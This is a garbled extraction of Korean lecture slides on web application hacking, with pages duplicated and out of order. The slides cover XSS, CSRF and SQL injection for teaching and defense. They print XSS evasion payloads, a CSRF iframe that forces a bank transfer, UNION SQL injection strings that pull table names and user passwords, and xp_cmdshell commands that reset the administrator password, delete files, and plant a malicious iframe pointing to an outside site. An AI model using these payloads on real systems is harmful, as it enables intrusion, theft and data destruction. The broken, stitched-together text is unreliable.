rsquo EXEC20MASTERXP_CMDSHELL20echo20^

ltiframe20src=^httpwwwnetpkorgsubwayicyfoxhtm^20

사용자 ltiframe src=httpxxxxxxgt

악성프로그램(다운로드)

Page 43

SQL Injection

SQL Injection 예제(14) Trsquounion all select 111namextypersquo33rsquofrom sysobjects where type=rsquoUrsquo--

Page 44

SQL Injection

SQL Injection 예제 (24)

Page 45

SQL Injection

SQL Injection 예제(34)

Page 46

SQL Injection

SQL Injection 사용 구문(44)

1) Trsquounion all select 111namextypersquo33rsquofrom sysobjects where type=rsquoUrsquo-- 2) Trsquounion all select 111colnamersquo1rsquorsquo2rsquofrom syscolumns colsysobjects obj where colid=objid and objname=rsquoUpBoardrsquo- 3) Trsquo union all select 111b_nameb_pwdrsquo2rsquo from upboard-- 1) - sysobjects에서 table name 과 xtype을 추출하는 방법 2) - 추출한 table명을 가지고 column명 추출하는 방법 3) - 해당 table에서 column명을 가지고 데이터를 추출하는 방법

Page 47

SQL Injection

SQL Injection 예제(13)

http127001FAQACTION=VIEWampFAQ_NO=92ampDEFINITION_INFO_CODE=rsquo

Page 48

SQL Injection

SQL Injection 예제(23)

http127001FAQACTION=VIEWampFAQ_NO=92ampDEFINITION_INFO_CODE =test20union20all20select2012223444555tname20from20systab--

Select tname from systab 구문을 이용하여 table 명을 얻어내려 시도(Data Type 맞춰줘야 함)

http127001FAQACTION=VIEWampFAQ_NO=92ampDEFINITION_INFO_CODE =test20union20all20select2012223444tname55520from20systab--

Select tname from systab 구문을 이용하여 table 명을 얻어내려 시도

Page 49

SQL Injection

SQL Injection 예제(33)

모듞 Table 명 획득 (날짜 부분에 tname으로 테이블 명 가져옴)

BOARDCOMMENTSDEFINITIONINFOFAQPI_FILEPI_USERPUBLICNOTIFICATION RECOMMENDEDBOARDTRANSACTIONINFOUPLOADFILEINFOURLCHANGEUSAYUSAYCOMMENTSUSERADDINFO

Page 50

SQL Injection

SQL Injection 대응 방앆

bull응용프로그램의 에러정보 노출 금지 bull스크립트 오류의 자세한 메시지 표시는 개발 단계에서만 사용함 bull모듞 자료실의 디렉토리 속성에 실행 권한을 제거함 bull게시판 등에 불필요한 파일 첨부 기능을 제거하고 첨부가 필요한 경우 실행 가능한 파일의 첨부를 차단함 bull사용자가 입력하는 입력 값이나 URL의 인자 값을 처리하는 페이지에서는 입력 값을 검증

bull 홈페이지 및 게시판에서 사용하는 입력 페이지에서 입력 값에 대한 필터링 함 bull 특수문자(lsquo ldquo _ + 등)와 SQL 구문(select union insert 등)을 필터링 합니다

bullSQL 서버 bull 불필요한 계정은 삭제함 bull 모듞 계정의 비밀번호를 어렵게 정하고 비밀번호 검사를 실행함 bull 모듞 샘플 DB는 제거함 bull 응용프로그램이 DB에 짂입하여 사용하는 계정은 최소화

bull데이터베이스 확장 프로시저는 가급적 모두 제거

Page 51

Web Application Hacking

공격 기법 습득 방법

bull 백문이불여일견 책을 보고 따라해 보기엔 한계가 있음 친젃한 Youtube Demo 홗용하기

bull 습득한 기법들을 정리해 두는 습관 들이기 해킹 기법을 습득한 후에 꼭 정리해 두는 습관을 들이면 좋다 기술 습득은 항상 사용하지 않는 이상 잊어버리기 마련임 기록해 두는 습관을 가짂다면 나중에도 쉽게 자싞만의 레퍼런스를 이용할 수 있다

Page 52

References

웹 해킹 amp 보앆 완벽 가이드 by Dafydd Stuttard amp Marcus Pinto

OWASP Top10 - wwwowasporg

Cross-Site-Scripting Attack and Protection Mechanisms by EUROSEC GmbH Chiffriertechnik amp Sicherheit

방립동 오픈창고 CSRF 대응에 대한 고민12

Web 20 CSRF exploitation (web-board case study) ndash x82inetcoporg

웹 서버 보앆 기초 - HTTP Cookie Session

httpnobless_05blogme50106924296

웹 해킹과 방어

Page 53

Questions

Page 54

Thank you

Page 7: 서울여자대학교 웹애플리케이션해킹(Xss&sql injection)_1

Page 7

Web Application Hacking

웹 취약점 분포 현황 (12)

최근 웹 취약점 분포 상세

악성코드 첨부 메읷 유포 진단 결과 감염 비율

Page 8

Web Application Hacking

Web Application Hacking Tools (AppScan Acunetix)

Page 9

Web Application Hacking

Web Application Hacking Tools(Burp Suite HTTP Watch)

JRE httpwwworaclecomtechnetworkjavajavasedownloadsjre-6u26-download-400751html

httpportswiggernetburpdownloadhtml httpwwwhttpwatchcomdownload

Page 10

Web Application Hacking

Web Application Hacking Tools (실습도구)

① ②

③ Webgoat 다운로드 httpswwwowasporgindexphpCategoryOWASP_WebGoat_Project Webgoat 설치 설명서 httpswwwowasporgindexphpWebGoat_Installation

Page 11

Web Application Hacking

Web Application Hacking Tools (실습도구)

TIP 가상머싞에 설치해보고 Web hacking 실습 문제 풀어보기 모르는 부분은 Webgoat 페이지의 Solution 참고하거나 Youtube 구글 참고

Youtube Webgoat 관렦 영상 httpwwwyoutubecomresultssearch_query=webgoatampsuggested_categories=282C262C12C22amppage=1 httpwwwgooglecokrq=webgoatamphl=koampnewwindow=1ampprmd=ivnsulampsource=lnmsamptbm=vidampei=cdrxTc2aJYnovQPfjrWpBAampsa=Xampoi=mode_linkampct=modeampcd=3ampved=0CCYQ_AUoAgampfp=6d0639d9755e7972ampbiw=1090ampbih=712

Page 12

What is an OWASP

주요 Web Application 공격 기법

OWASP Top 10 웹 취약점을 10가지 형태로 분류하고 정의하며 웹 보앆에

관심 있는 기업 및 개읶이 함께 공통된 프로젝트 수행

A1 SQL Injection

A2 Cross Site Scripting (XSS)

A3 취약한 인증과 세션 관리

A4 앆젂하지 않은 직접 객체 참조

A5 크로스 사이트 요청 변조(CSRF)

A6 보앆상 잘못된 구성(싞규)

A7 앆젂하지 않은 암호 저장

A8 URL 접근 제한 실패

A9 불충분한 젂송 계층 보호

A10 검증되지 않은 리다이렉트와 포워드(싞규)

Page 13

Web Application Hacking

주요 Web Application 공격 기법

1 SQL Injection

2 XSS

3 파읷 업로드

4 파읷 다운로드

5 디렉토리 노출

6 읶증이 없는 관리자 페이지

7 쿠키변조 및 재사용

8 파라미터 변조를 통한 시스템 명령어 사용

9 자바스크립트 우회

10 HTTP 메소드

11 불필요한 파읷 노출

12 에러 노출

13 검색엔진

Page 14

Web Application Hacking

주요 Web Application 공격 기법

구분 점검 항목 설 명

1 SQL Injection 로그인 폼 및 변수 값에 SQL 쿼리를 삽입하여 로그인 우회 및 DB를 변조 하는 공격

2 XSS 게시판 및 URL파라미터에 스크립트를 삽입하여 해당 글 혹은 링크를 클릭하는 사용자의 정보를 취득하는 공격

3 파일 업로드 ASP PHP JSP와 같이 파일을 업로드 하여 시스템 권한을 획득하는 공격

4 파일 다운로드 파일 다운로드 처리 파라미터를 조작하여 시스템 파일에 접근하는 공격

5 디렉터리 인덱싱 특정 디렉터리를 요청할 때 파일 목록이 보여지는 공격

6 관리자 페이지 노출 masterjsp adminphp 등의 관리자 페이지 노출 및관리자 페이지에 대한 추가 취약점으로 인한 권한 획득 공격

7 쿠키 변조 쿠키 내 권한 관련 값 변조 및 도용하는 공격

8 URL 파라미터 변조 파라미터 변조를 통해 정상적인 젃차(관리자 글 작성 제한 등)를 우회하는 공격

9 사용자 측 스크립트 변조 자바스크립트 및 히듞필드 변조를 통해 인증 권한을 도용하는 행위

10 에러 페이지 노출 시스템 에러를 통해 시스템 정보를 획득하는 공격

11 중요 정보 노출 페이지 및 파일 내에 중요 정보(주민등록번호 등)가 포함되는 경우

12 백업 파일 노출 백업 파일 노출로 인해 시스템 로직을 파악하는 공격 13 기본 설치 페이지 노출 웹 서버 기본 페이지 등의 노출

14 HTTP Method 정보 노출 PUT DELETE 메소드를 악용하여 파일 생성 및 삭제 등의 공격

Page 15

Web Application Hacking

Cookie vs Session

bull Cookie 사용자 정보를 유지하기 위해 웹 브라우저에 의해 사용자의 PC에 저장되는 정보 (파일 혹은 메모리) 서버에서 클라이언트로 젂송되는 것 ltname valuegt 사용자가 인터넷 웹 사이트를 방문할 때 생기는 4KB 이하의 파일 웹 사이트의 방문 기록을 사용자 컴퓨터에 남겨 사용자와 웹 사이트 사이를 연결해주는 정보를 담고 있음

bull Session

Session 은 Cookie와 동일하게 HTTP 서버에서 클라이언트를 알아볼 수 있는 방법 Session은 사용자를 식별 할 수 있는 최소한의 Cookie값을 브라우저에 보냄 브라우저에서 서버에 갂단하게 SessionID 값을 던지고 HTTP 서버는 그 값을 이용해 서버에 값이 저장

Response (Cookie 저장)

Request (Cookie 젂달)

Cookie Session

정의 사용자마다 관리해야 하는 데이터를 각 사용자의 웹 browser가 있는 Client 컴퓨터에 기록하는 것

웹 서버와 특정 사용자의 연결이 끊어 지더라도 그 사용자에 대해서 계속 관리해야 하는 데이터를 웹 서버에 기록해 둔 것

저장 방식

Client 측 메모리 혹은 파일로 저장 Session ID만 Cookie 형태로 Client에 저장 되고 실제 정보는 서버 메모리 DB 형태로 저장 (IIS 웹 서버와 여러 웹 어플리케이션 서버에서 많이 사용)

Page 16

Cross Site Scripting (XSS)

Cross Site Scripting(XSS) 개념

XSS는 타 사용자 정보 추출을 위한 공격 기법임 게시판이나 검색 부분 즉 사용자의 입력을 받아들이는 부분에 스크립트 코드를 필터링하지 않음으로써 발생되는 취약점임 (한마디로 말하면) 공격자가 스크립트 코드를 실행할 수 있게 되는 취약점

Cross Site Scriting 종류

반사된 크로스사이트 스크립팅 (Reflected Cross Site Scripting)

공격 스크립트가 저장되어 있지 않음 공격 스크립트를 사용하는 즉시 사용자에게 보여줌

저장된 크로스 사이트 스크립팅 (Stored Cross Site Scripting)

공격 스크립트가 취약한 서버에 저장되어 있어서 취약한 서버에 저장된 공격 스크립트로 다양한 공격에 응용할 수 있음

DOM 기반 크로스 사이트 스크립팅 (DOM based Cross Site Scripting)

HTML 요소보다 사이트의 자바스크립트 코드와 변수들을 조작하여 공격함

크로스 사이트 스크립팅 요청 위조 (Cross Site Scripting Request Forgery)

HTML 요소보다 사이트의 자바스크립트 코드와 변수들을 조작하여 공격함

Page 17

Cross Site Scripting (XSS)

Cross Site Scripting 이해

길라임은 현빈의 여자친구읶데 요즘 들어 길라임의 행동을 수상히 여긴 현빈은 길라임이 오스카랑 좀 이상한 관계읶 거 같다고 생각이 들어 길라임 몰래 길라임의 메읷을 훔쳐보고 싶어했다(당연히 불법이다) 현빈은 현빈의 젃친한 친구읶 지섭굮에게 XSS 공격을 이용하면 길라임의 메읷을 인을 수 있다는 솔깃한 얘기를 듣고 친구읶 지섭굮에게 XSS 공격 방법을 익히게 된다

드디어 XSS 공격 방법을 습득한 현빈은 길라임에게 메읷을 보낸다 메읷에는 평범한 내용과 함께 악성 스크립트 코드를 숨겨서 보낸다 길라임은 아무런 의심을 하지 않고 현빈한테 온 메읷을 인는다 하지만 그 순갂 숨겨서 보낸 악성 스크립트 코드는 길라임의 쿠키 정보를 현빈에게 넘긴다 현빈은 길라임으로부터 받은 쿠키 값을 가지고 갂단한 조작을 통해서 길라임의 메읷을 인을 수 있었다

Page 18

Cross Site Scripting (XSS)

Cross Site Scripting 공격 기본 원리

1 악성코드 첨부 메일 발송

2 길라임이 메일을 읽음

3 길라임의 쿠키가 젂달

5 길라임의 쿠키 이용 메일을 훔쳐봄

Page 19

Cross Site Scripting (XSS)

Cross Site Scripting sample

공격 코드의 유형

Source httpwwwsecurityfocuscomarchive12720372002-05-092002-05-150

lta href=javasamp99riptamp35[code]gt ltdiv onmouseover=[code]gt ltimg src=javascript[code]gt [IE] ltimg dynsrc=javascript[code]gt [IE] ltinput type=image dynsrc=javascript[code]gt [IE] ltbgsound src=javascript[code]gt ampltscriptgt[code]ltscriptgt [N4] amp[code] [N4] ltimg src=amp[code]gt ltlink rel=stylesheet href=javascript[code]gt [IE] ltiframe src=vbscript[code]gt [N4] ltimg src=mocha[code]gt [N4]ltimg src=livescript[code]gt lta href=aboutltsamp99riptgt[code]ltscriptgtgt ltmeta http-equiv=refresh content=0url=javascript[code]gt ltbody onload=[code]gt ltdiv style=background-image url(javascript[code])gt

[IE] ltdiv style=behaviour url([link to code])gt [Mozilla] ltdiv style=binding url([link to code])gt [IE] ltdiv style=width expression([code])gt [N4] ltstyle type=textjavascriptgt[code]ltstylegt [IE] ltobject classid=clsid codebase=javascript[code]gt ltstylegtlt--ltstylegtltscriptgt[code]--gtltscriptgt lt[CDATA[lt--]]gtltscriptgt[code]--gtltscriptgt lt-- -- --gtltscriptgt[code]ltscriptgtlt-- -- --gt ltltscriptgt[code]ltscriptgt ltimg src=blahonmouseover=[code]gt ltimg src=blahgt onmouseover=[code]gt ltxml src=javascript[code]gt ltxml d=Xgtltagtltbgtampltscriptgt[code]ampltscriptgt ltbgtltagt ltxmlgt ltdiv datafld=b dataformatas=html datasrc=Xgtltdivgt [UTF-8 IE Opera] [xC0][xBC]scriptgt[code][xC0][xBC]scriptgt

Page 20

Cross Site Scripting (XSS)

Cross Site Scripting sample

실제 공격 코드

참조 httphackersorgxsshtml

ltscriptgtalert(XSS)ltscriptgt

ltSCRIPT SRC=httphackersorgxssjsgtltSCRIPTgt

ltIMG SRC=javascriptalert(XSS)gt

ltIMG SRC=javascriptalert(XSS)gt

ltIMG SRC=JaVaScRiPtalert(XSS)gt

ltIMG SRC=javascriptalert(ampquotXSSampquot)gt

ltIMG SRC=`javascriptalert(RSnake says XSS)`gt

ltIMG gtltSCRIPTgtalert(XSS)ltSCRIPTgtgt

ltIMG SRC=javascriptalert(StringfromCharCode(888383))gt

ltIMG SRC=amp106amp97amp118amp97amp115amp99amp114amp105amp112amp116amp58amp97amp108amp101amp114amp116amp40amp39amp88amp83amp83amp39amp41gt

ltIMG SRC=javampx09ascriptalert(XSS)gt

ltIMG SRC=javampx0Aascriptalert(XSS)gt

Page 21

Cross Site Scripting (Reflected Cross Site Scripting)

Reflected Cross Site Scriting 설명

반사된 크로스사이트 스크립팅 (Reflected Cross Site Scripting)

공격 스크립트가 저장되어 있지 않음 공격 스크립트를 사용하는 즉시 사용자에게 보여줌

httpmyservercomwelcomejspname=ltscriptgtalert(Attacked)ltscriptgt

Page 22

Cross Site Scripting (Stored Cross Site Scripting)

Stored Cross Site Scripting

저장된 크로스사이트 스크립팅 (Stored Cross Site Scripting)

공격 스크립트가 취약한 서버에 저장되어 있어서 취약한 서버에 저장된 공격 스크립트로 다양한 공격에 응용할 수 있음

Page 23

Cross Site Scripting (Stored Cross Site Scripting)

Stored Cross Site Scripting 공격 시나리오

Post Forum Message Subject GET Money for FREE Body ltscriptgt attack code ltscriptgt

1 공격자가 악성코드를 보냄

2 서버는 해당 메시지를 저장함

Did you know this

3 사용자는 메시지를 요청함

4 메시지는 서버에 의해 젂달됨

5 브라우저는 메시지 내의 코드를 실행함

GET Money for FREE

ltscriptgt attack code ltscriptgt

Get forumjspfid=122ampmid=2241

Attacker

Client

Web Server

GET Money for FREE ltscriptgt attack code ltscriptgt

attack code

This is only one example out of many attack scenarios

Re Error message on startup I found a solution Can anybody help Error message on startup

Page 24

Cross Site Scripting (Stored Cross Site Scripting)

Stored Cross Site Scripting 공격 예제 (12)

① 게시판에 특정 스크립트를 작성한 뒤 불특정 다수가 보도록 유도

② 스크립트가 시작하여 열람자의 쿠키 값을 가로챔

③ 가로챈 쿠키 값을 웹 프록시 등을 이용하여 재젂송

④ 공격자는 열람자의 정보로 로그인 (개인 정보 유출 다른 사용자의 정보 얻음)

Page 25

Cross Site Scripting (Stored Cross Site Scripting)

Stored Cross Site Scripting 공격 예제 (22)

Page 26

Cross Site Scripting (DOM based Cross Site Scripting)

DOM(Document Objected Model) Cross Site Scripting

DOM(Document Object Model)은 HTML XML을 다루기 위한 프로그래밍 API

JavaScript를 이용하여 페이지 자체를 변조하여 공격하는 XSS 기법

DOM XSS 기법 DEMO

httpwwwdailymotioncomvideoxe7i0w_dom-based-xss_school

httpwwwyoutubecomwatchv=tJ7L6ErD4ZY

httpwwwyoutubecomwatchv=t8IBkxgEzAc

httpwwwyoutubecomwatchv=uTuBJ-zEGuw

Page 27

Cross Site Scripting (DOM based Cross Site Scripting)

DOM(Document Objected Model) Cross Site Scripting 공격 코드

Page 28

Cross Site Scripting (Cross Site Scripting Request Forgery)

Cross Site Scripting Request Forgery (CSRF)

CSRF란 원 클릭 공격 사이드 재킹 (sidejacking) 세션 라이딩(session riding)

특정 사용자를 대상으로 하지 않고 불특정 다수를 대상으로 로그읶 된 사용자가 자싞의 의지와는 무관하게 공격자가 의도한 행위(수정삭제 등록 등)를 하게하는 공격임

XSS vs CSRF

XSS 공격은 악성 스크립트를 웹 사이트에 삽입할 필요가 있음

반면 CSRF 공격은 사이트가 싞뢰하는 사용자를 통해 공격자가 원하는 명령을 사이트로 젂송하는 기법을 사용함

Page 29

Cross Site Scripting (Cross Site Scripting Request Forgery)

Cross Site Scripting Request Forgery (CSRF) 이해 (13)

읶터넷 뱅킹 CSRF

인터넷 뱅킹 웹에서 계좌이체를 처리하는 icheasp 라는 페이지가 있고 송싞 계좌 이체금액이 파라메터로 처리되어 아래와 같이 페이지가 동작한다고 가정 httpwwwxxxbankcomicheaspaccountnum=1111111111ampmoney=50000

공격자는 자싞의 계좌로 계좌이체를 하는 스크립트를 뱅킹사이트 게시판에 삽입하고 누굮가가 게시판을 읽기를 기다림 아래와 같은 iframe 태그를 게시판에 삽입 ltiframe src=httpwwwxxxbankcomicheaspaccountnum=1111111111ampmoney=50000 width=0 height=0gtltiframegt

순짂한 한정원양은 자싞도 모르게 50000만원을 황금란에게 이체함

CSRF 공격코드가 삽입된 인터넷 뱅킹 웹 사이트 게시판

해당 글 클릭 코드실행됨

황금란 악성코드를 게시판에 삽입

Page 30

Cross Site Scripting (Cross Site Scripting Request Forgery)

Cross Site Scripting Request Forgery (CSRF) 이해 (23)

실제 국내 홖경에서 가장 대표적인 케이스는 싸이월드의 방문자 추적기

원리는 굉장히 단순 비공개 게시판을 하나 생성하고 생성된 게시판에 글을 하나 작성하도록 만드는 스크립트를 삽입하여 싸이월드에 방문한 사람은 자싞도 모르게 게시판에 글을 남기도록 제작함 공격자는 게시판에 쓰여짂 사용자를 확인한다면 누가 왔다 갔는지 알 수 있게 됨

Page 31

Cross Site Scripting (Cross Site Scripting Request Forgery)

Cross Site Scripting Request Forgery (CSRF) 이해 (33)

최근에는 제로보드에서 CSRF 취약점이 발견되어 긴급 패치 되었는데 악의적인 스크립트를 삽입하여 관리자에게 쪽지를 보내고 관리자가 쪽지를 읽을 때 스크립트가 실행되어 특정 사용자에게 관리자 권한을 부여하는 취약점

Page 32

Cross Site Scripting

Cross Site Scriting (XSS) 대응 방앆

1 중요한 정보는 쿠키에 저장하지 않도록 함

2 스크립트 코드에 사용되는 특수문자에 대해 정확히 필터링을 해야 함

3 사용자가 입력 가능한 문자만을 정해놓고 그 문자열이 아니면 모두 필터링하는 방법

4 게시판에서 HTML 포맷의 입력은 사용할 수 없도록 설정함

5 스크립트를 대체하여 무효화 함 javascript라고 들어오는 문자열은 무조건 lsquox-javascriptrsquo 대체

6 주기적읶 점검(자체적읶 취약점 점검과 보앆 컨설팅)을 통해 취약점을 수시로 확읶함

Page 33

Cross Site Scripting

Cross Site Scriting (XSS) 대응 방앆

function RemoveBad(InStr) InStr = InStrreplace(ltg) InStr = InStrreplace(gtg) InStr = InStrreplace(g) InStr = InStrreplace(g) InStr = InStrreplace(g) InStr = InStrreplace(g) InStr = InStrreplace((g) InStr = InStrreplace()g) InStr = InStrreplace(ampg) InStr = InStrreplace(+g) return InStr

특수문자 의미

lt 태그의 시작

gt 태그의 끝

amp 캐릭터 개체 또는 매개변수 구별자

ldquo 속성 값

lsquo 속성 값

space 속성 값 URL의 끝

tab URL의 끝

new line URL의 끝

Non-ASCII iso-8859-1일 때 128을 넘어가는 2바이트 코드

HTTP escape sequence

앆의 Server Side Script

ltscriptgtltscriptgt앆의 () New Line

Page 34

SQL Injection

SQL Injection 종류

① SQL Injection ndash 논리적 에러 예 SELECT FROM user_data WHERE last_name = Your Name or 1=1lsquo ② Union SQL Injection ndash 이중 쿼리 예1 httpwwwsitecomnewsphpid=5 union all select top 1 table_name from information_schematables ④ Stored Procedure SQL Injection - 저장프로시저 예1 httpwwwsitecommembercheckidaspid= CREATrdboxp_cmdshell20netstat20-an 12

Page 35

SQL Injection

SQL Injection 의 원인

System Object 권한제어 없이 기본 값 사용 1 ) exec masterxp_cmdshell net user administrator password 디폴트 유저읶 administrator의 패스워드 변경 2 ) exec masterxp_cmdshell dir c C 드라이브 정보 보기 3 ) exec masterxp_cmdshell del c qs C 드라이브 파읷 삭제 DB 계정을 관리자 계정(sa) 으로 읷괄적 사용

Page 36

SQL Injection

SQL Injection 의 기본 원리

admin

$id=admin

$passwd=

1rsquo or lsquo1=1

$strLoginSQL = Select from member where

id = $strUserID and password = $strUserPass

$strLoginSQL = Select from member where

id = lsquoadmin and password = lsquo1rsquo or lsquo1 = 1

FALSE TRUE TRUE

관리자로 로그인 성공

Page 37

SQL Injection

SQL Injection 공격 로그

1 Number=2002-002412|63|80040e14|2002-002412_문자열_앞에_닫히지_않은_읶용_부호가_있습니다

2 Number=2002-002412 and user=1 and

=|63|80040e07|nvarchar_값_team을(를)_int_데이터_형식의_열로_변홖 하는_중_구문_오류가_발생했습니다 500

3 Number=2002-002412 And Cast(IS_SRVROLEMEMBER(sysadmin) as varchar(1))+char(124)=1

And =|63|80040e07|varchar_값_0|을(를)_int_데이터_형식의_열로_변홖하는_중_구문_오류가_발생했습니다 500

4 Reportasp Number=2002-002412 And Cast(IS_MEMBER(db_owner) as

varchar(1))+char(124)=1 And

=|63|80040e07|varchar_값_1|을(를)_int_데이터_형식의_열로_변홖하는_중_구문_오류가_발생했습니다 500

5 Number=2002-002412rsquo exec masterdboaddextendedproc xp_cmdshellxplog70dll

6 Number=2002-002412rsquo

EXEC20MASTERXP_CMDSHELL20echo20^ltiframe20src=^httpwwwnetpkorgsubwayicyfoxhtm^

20

Page 38

SQL Injection

SQL Injection 공격 로그

데이터타입불읷치라는 에러 정보와 함께 DB 접속 계정 노출을 유도함 (예) and user=1 and =lsquo

명령어 역할

User DB 사용자 이름

user_name(1) DB 사용자를 순차적으로 반홖 current_name 현재 로그인한 DB 사용자 이름

session_user 현재 세션의 DB 사용자 이름 sp_helpuser 모듞 사용자 정보에 대해서 확인 syssyslogins 모듞 사용자의 로그인한 히스토리 정보

sp_helplogins 로그인 정보에 대해서 확인 syssql_logins SQL 로그인 정보 ID 패스워드 해쉬값

xp_logininfo 사용자 로그인에 대한 정보 is_srvrolemember 사용자의 권한을 확인

has_dbaccess 사용자가 DB에 접근 권한이 있는지 확인

Page 39

SQL Injection

SQL Injection 공격 로그

확인한 계정의 서버역할이 sysadmin 인지 요청함

And Cast(IS_SRVROLEMEMBER(sysadmin) as varchar(1))+char(124)=1 And =lsquo

IS_SRVROLEMEMBER(서버역할)

sysadmin 관리자권한(모든권한수행)

serveradmin 서버차원의 설정을 구성

setupadmin 연결된 서버 추가 및 제거

securityadmin 서버 로그인 관리

processadmin SQL 인스턴스에서 실행중인 프로스세 관리

Page 40

SQL Injection

SQL Injection 공격 로그

IS_MEMBER(DB역할)

db_owner 모든 db역할 수행

db_accessadmin db내 사용자 추가 및 삭제

db_datareader 사용자테이블에서 모든 데이터 보기

확인한 계정의 DB역할이 db_owner 인지 요청함

And Cast(IS_MEMBER(db_owner) as varchar(1))+char(124)=1 And =

Page 41

SQL Injection

SQL Injection 공격 로그

마스터 DB를 이용해 확장형 저장 프로시저 (xp_cmdshell)생성 rsquo exec masterdboaddextendedproc xp_cmdshellxplog70dlllsquo MS SQL의 기본 DB 구성 요소 bull Master db 로그읶 계정 홖경설정 시스템 저장 프로시저와 같은 시스템에 영향을 미치는 정보 저장(중요)

bull Msdb 작업정의 연산자 수정작업과 같은 정보 저장

bull Model 참조 db이며 사용자를 이를 바탕으로 db 작성

bull Tempdb 임시 테이블 및 임시 저장 프로시저 저장

저장 프로시저(Stored Procedure) 함수와 비슷한 개념으로 쿼리문의 집합 특정 작업을 읷괄 처리하기위한 용도로 사용

Page 42

SQL Injection

SQL Injection 공격 로그

생성된 저장 프로시저 (xp_cmdshell)를 이용하여 문자열 생성(ltiframegthellip) 및 소스

중간 삽입

rsquo EXEC20MASTERXP_CMDSHELL20echo20^

ltiframe20src=^httpwwwnetpkorgsubwayicyfoxhtm^20

사용자 ltiframe src=httpxxxxxxgt

악성프로그램(다운로드)

Page 43

SQL Injection

SQL Injection 예제(14) Trsquounion all select 111namextypersquo33rsquofrom sysobjects where type=rsquoUrsquo--

Page 44

SQL Injection

SQL Injection 예제 (24)

Page 45

SQL Injection

SQL Injection 예제(34)

Page 46

SQL Injection

SQL Injection 사용 구문(44)

1) Trsquounion all select 111namextypersquo33rsquofrom sysobjects where type=rsquoUrsquo-- 2) Trsquounion all select 111colnamersquo1rsquorsquo2rsquofrom syscolumns colsysobjects obj where colid=objid and objname=rsquoUpBoardrsquo- 3) Trsquo union all select 111b_nameb_pwdrsquo2rsquo from upboard-- 1) - sysobjects에서 table name 과 xtype을 추출하는 방법 2) - 추출한 table명을 가지고 column명 추출하는 방법 3) - 해당 table에서 column명을 가지고 데이터를 추출하는 방법

Page 47

SQL Injection

SQL Injection 예제(13)

http127001FAQACTION=VIEWampFAQ_NO=92ampDEFINITION_INFO_CODE=rsquo

Page 48

SQL Injection

SQL Injection 예제(23)

http127001FAQACTION=VIEWampFAQ_NO=92ampDEFINITION_INFO_CODE =test20union20all20select2012223444555tname20from20systab--

Select tname from systab 구문을 이용하여 table 명을 얻어내려 시도(Data Type 맞춰줘야 함)

http127001FAQACTION=VIEWampFAQ_NO=92ampDEFINITION_INFO_CODE =test20union20all20select2012223444tname55520from20systab--

Select tname from systab 구문을 이용하여 table 명을 얻어내려 시도

Page 49

SQL Injection

SQL Injection 예제(33)

모듞 Table 명 획득 (날짜 부분에 tname으로 테이블 명 가져옴)

BOARDCOMMENTSDEFINITIONINFOFAQPI_FILEPI_USERPUBLICNOTIFICATION RECOMMENDEDBOARDTRANSACTIONINFOUPLOADFILEINFOURLCHANGEUSAYUSAYCOMMENTSUSERADDINFO

Page 50

SQL Injection

SQL Injection 대응 방앆

bull응용프로그램의 에러정보 노출 금지 bull스크립트 오류의 자세한 메시지 표시는 개발 단계에서만 사용함 bull모듞 자료실의 디렉토리 속성에 실행 권한을 제거함 bull게시판 등에 불필요한 파일 첨부 기능을 제거하고 첨부가 필요한 경우 실행 가능한 파일의 첨부를 차단함 bull사용자가 입력하는 입력 값이나 URL의 인자 값을 처리하는 페이지에서는 입력 값을 검증

bull 홈페이지 및 게시판에서 사용하는 입력 페이지에서 입력 값에 대한 필터링 함 bull 특수문자(lsquo ldquo _ + 등)와 SQL 구문(select union insert 등)을 필터링 합니다

bullSQL 서버 bull 불필요한 계정은 삭제함 bull 모듞 계정의 비밀번호를 어렵게 정하고 비밀번호 검사를 실행함 bull 모듞 샘플 DB는 제거함 bull 응용프로그램이 DB에 짂입하여 사용하는 계정은 최소화

bull데이터베이스 확장 프로시저는 가급적 모두 제거

Page 51

Web Application Hacking

공격 기법 습득 방법

bull 백문이불여일견 책을 보고 따라해 보기엔 한계가 있음 친젃한 Youtube Demo 홗용하기

bull 습득한 기법들을 정리해 두는 습관 들이기 해킹 기법을 습득한 후에 꼭 정리해 두는 습관을 들이면 좋다 기술 습득은 항상 사용하지 않는 이상 잊어버리기 마련임 기록해 두는 습관을 가짂다면 나중에도 쉽게 자싞만의 레퍼런스를 이용할 수 있다

Page 52

References

웹 해킹 amp 보앆 완벽 가이드 by Dafydd Stuttard amp Marcus Pinto

OWASP Top10 - wwwowasporg

Cross-Site-Scripting Attack and Protection Mechanisms by EUROSEC GmbH Chiffriertechnik amp Sicherheit

방립동 오픈창고 CSRF 대응에 대한 고민12

Web 20 CSRF exploitation (web-board case study) ndash x82inetcoporg

웹 서버 보앆 기초 - HTTP Cookie Session

httpnobless_05blogme50106924296

웹 해킹과 방어

Page 53

Questions

Page 54

Thank you

Page 8: 서울여자대학교 웹애플리케이션해킹(Xss&sql injection)_1

Page 8

Web Application Hacking

Web Application Hacking Tools (AppScan Acunetix)

Page 9

Web Application Hacking

Web Application Hacking Tools(Burp Suite HTTP Watch)

JRE httpwwworaclecomtechnetworkjavajavasedownloadsjre-6u26-download-400751html

httpportswiggernetburpdownloadhtml httpwwwhttpwatchcomdownload

Page 10

Web Application Hacking

Web Application Hacking Tools (실습도구)

① ②

③ Webgoat 다운로드 httpswwwowasporgindexphpCategoryOWASP_WebGoat_Project Webgoat 설치 설명서 httpswwwowasporgindexphpWebGoat_Installation

Page 11

Web Application Hacking

Web Application Hacking Tools (실습도구)

TIP 가상머싞에 설치해보고 Web hacking 실습 문제 풀어보기 모르는 부분은 Webgoat 페이지의 Solution 참고하거나 Youtube 구글 참고

Youtube Webgoat 관렦 영상 httpwwwyoutubecomresultssearch_query=webgoatampsuggested_categories=282C262C12C22amppage=1 httpwwwgooglecokrq=webgoatamphl=koampnewwindow=1ampprmd=ivnsulampsource=lnmsamptbm=vidampei=cdrxTc2aJYnovQPfjrWpBAampsa=Xampoi=mode_linkampct=modeampcd=3ampved=0CCYQ_AUoAgampfp=6d0639d9755e7972ampbiw=1090ampbih=712

Page 12

What is an OWASP

주요 Web Application 공격 기법

OWASP Top 10 웹 취약점을 10가지 형태로 분류하고 정의하며 웹 보앆에

관심 있는 기업 및 개읶이 함께 공통된 프로젝트 수행

A1 SQL Injection

A2 Cross Site Scripting (XSS)

A3 취약한 인증과 세션 관리

A4 앆젂하지 않은 직접 객체 참조

A5 크로스 사이트 요청 변조(CSRF)

A6 보앆상 잘못된 구성(싞규)

A7 앆젂하지 않은 암호 저장

A8 URL 접근 제한 실패

A9 불충분한 젂송 계층 보호

A10 검증되지 않은 리다이렉트와 포워드(싞규)

Page 13

Web Application Hacking

주요 Web Application 공격 기법

